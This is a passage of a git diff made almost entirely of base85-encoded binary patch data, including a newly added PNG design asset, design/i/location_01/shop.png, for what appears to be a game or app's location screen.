ziQzcJzE2WINNFI%TEsh!A|l@>^y)~E z`GqPV$P_XJYVDzDR%a2SA49AKnUgri3p%vwHEcIUu5X+uK8|4!r5>v`&acv9J ziiyxfI$qmgAqYc-AI8LyCX8T1e}>7S9ILH}2anBD>%_PQ6fzDk*wD`tr{>UFBPB;k z*4X|zlY;sNz%a0Ei|GeuD3=T0?pLl%nP58>^{_*V1e*ZME?}BAu{2PIO)8zC)#~7C zgUAa=grKLl%y^+d5(FGRdYpR8XYk+AfP0BE3qGL-~mQG}%<|;Mz9zAcIpPoURYXt%k(2Nxd#NIQr z?ET#j1L*rtMr<5Pi$(wjYhebh6+%cN4X)5w0$MS|2r?!#Iw5Bl8hGs{H@x^pqR1!f zB-ATS+-x3GDr`GNg2GPsQ0z1D0uMuZ)M~3-SnM!1u=ampSZHk0u0ty{DP?TBWiv5-UszrChe=)mPJIp)b0W3jNmy z+5=zw@^=Jc)b;z$Bev0|GWX)HI3oyik~0ZZpj5`_`je4c!7KXGY*>f!=+*Fy*x z7@c6CzmJurdD`s;FL=Qorl)7v|HJ`?2Kxx3BDK{fQRHJe&RV=luZ04HSYs8CYjGke z*INC>T9^0DFWyb5&qN0vfH`X$J(?lp;Zj5g>51Y^;lpDC>ffLhLw7kwjbiSE>Ym4qArz%Wt1>D zd*T#c5b=U*uc2L;XYTX~3gv#J?XtYI2wEYNkX9H|$fWVSkXEZr%MaNxR;JbsS*~@_ zLeSecNWI(T-0TvI4WCN0OF8SV&C^l}r46P=dYM_N(O=47NQ;yX9(Ek-bf#G9HroDk zkI}wk>dKbeQ3^kZDcK2O0-Z!q%A{FbI8WE}NWy@8PcOse0!x(|GL^%y93FY-A%v8; zu1jZT4zwnWA_mGO4jev0lIS%}G0Q+j(ORC+mS_PgQETNyLW0mV+cES*CS&vH!Bf2K zWmljbn^Wf(Dff>sx41;24Q{x61MB-;mTRlrv3G%yz~h!{w{YO_c{Yp|=`CegT&Yv{ z1ea}?;Gstkade?2;vhh>=A2j(5(EW9V*>325E7CQ!;mbmHn{u#hsZiM9ZzxnwR`Y9 zpC=9+VgI9#;J6NFE-V5IOpOh)+UXJn37ZEC?7i4z*=|!Tq!=n?h$}IPVUsVWFfEtk zGZk#lC-h@Vw)m;L}=ML>V@wVUe+XP98Z# zt+vX*;1Ki6s|=5hF*Gs@MCBU!X(1b8bhhI$;J}2Qgpf=rDB#S*0epJPOJN9 z7@C&}DeWZDjPw?H;Qoi%v26>b@&MK9JO@tA&^OS>{$uA^SW0ttzQbT|nw3U_`yV~Y z6_;(`3txGh4dW$J#Zij66npm_;9RAPG_AFYTm@Q)H8o7RmeOe^0!L~b0nJErVP>9; zq0yLZ+BQYkkEyJzGCH+^UArYhYc5PrQ!1qBhB0$Xizp2IFv3VQnUu+RDa(a=hiYS) z&0_;-;d1!oG;`G^eZ@2e3H?1OByw%cw^)mr_2ylMN;wXkU8Gzp)}~77|9Ab4-GAO+ zDlj`cZR#XRlzQgMe9s7IE1jnaav^0RU7{F#1?YtJn>J#L1jBO36-qQ#o3xuX@+q5c ztXNuJAr3s+%@&nPox!mQ$~`4+`^;x}`Kw;V_q^fteC(qi!?kTxA_?P|Al8)ACMZeQ z3(&%5ab@wruHXH&xZ~e1RiAH2gCtgrl#3MdAweJ@7x3k;AK}KUw}LQOsMcAi)Csjg ztTf+u<90ssl|#%eJxaNMh^d`>Se}{Y6Q8}G$TYZo`vi}loF|SGl$ih~wuDd#Jf+E8 zVzpQc!XV`6nOQO!2c-lTsvaOP4TJG>7eQ(=woSFxz>%77@y@{?N{yJO5vy;(Qz>6pKZQxfFC7%uUbH zNCZ>s$H^DQn4g&?Y}eSb>vGEd{dC)Pj-5P@V_Td#ew-*yXg8ZwS8G&ODh!N_;`_nc z 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 Z{SN?Zn(T)i6O{k}002ovPDHLkV1hn^oA3Yt literal 0 HcmV?d00001 diff --git a/design/i/location_01/shop.png b/design/i/location_01/shop.png new file mode 100644 index 0000000000000000000000000000000000000000..ddd184963d17b9e8fc209c4bde3ed301d396dc3a GIT binary patch literal 28013 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 